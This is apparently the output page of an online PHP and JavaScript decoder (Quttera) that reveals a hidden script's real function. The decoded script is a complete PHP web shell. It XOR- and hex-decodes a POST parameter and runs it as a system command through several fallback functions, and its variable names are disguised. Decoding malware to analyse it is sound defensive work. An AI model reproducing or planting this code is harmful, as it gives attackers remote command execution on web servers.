Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$sync_manager = "hex2bin"; $task_processor5 = "popen"; $task_processor6 = "stream_get_contents"; $task_processor4 = "passthru"; $task_processor1 = "system"; $task_processor3 = "exec"; $task_processor2 = "shell_exec"; $task_processor7 = "pclose"; if (isset($_POST["binding"])) { function data_storage ($data_chunk, $ent) { $obj = '' ; $q=0; while($q<strlen($data_chunk)){ $obj.=chr(ord($data_chunk[$q])^$ent); $q++; } return$obj; } $binding = $sync_manager($_POST["binding"]); $binding = data_storage($binding, 25); if (function_exists($task_processor1)) { $task_processor1($binding); } elseif (function_exists($task_processor2)) { print $task_processor2($binding); } elseif (function_exists($task_processor3)) { $task_processor3($binding, $tkn_data_chunk); print join("\n", $tkn_data_chunk); } elseif (function_exists($task_processor4)) { $task_processor4($binding); } elseif (function_exists($task_processor5) && function_exists($task_processor6) && function_exists($task_processor7)) { $ent_obj = $task_processor5($binding, 'r'); if ($ent_obj) { $comp_element = $task_processor6($ent_obj); $task_processor7($ent_obj); print $comp_element; } } exit; }


        if (isset($_POST["binding"])) { function data_storage ($data_chunk, $ent) { $obj = '' ; $q=0; while($q<strlen($data_chunk)){ $obj.=chr(ord($data_chunk[$q])^$ent); $q++; } return$obj; } $binding = "hex2bin"($_POST["binding"]); $binding = data_storage($binding, 25); if (function_exists("system")) { "system"($binding); } elseif (function_exists("shell_exec")) { print "shell_exec"($binding); } elseif (function_exists("exec")) { "exec"($binding, $tkn_data_chunk); print join("\n", $tkn_data_chunk); } elseif (function_exists("passthru")) { "passthru"($binding); } elseif (function_exists("popen") && function_exists("stream_get_contents") && function_exists("pclose")) { $ent_obj = "popen"($binding, 'r'); if ($ent_obj) { $comp_element = "stream_get_contents"($ent_obj); "pclose"($ent_obj); print $comp_element; } } exit; }




© 2023 Quttera Ltd. All rights reserved.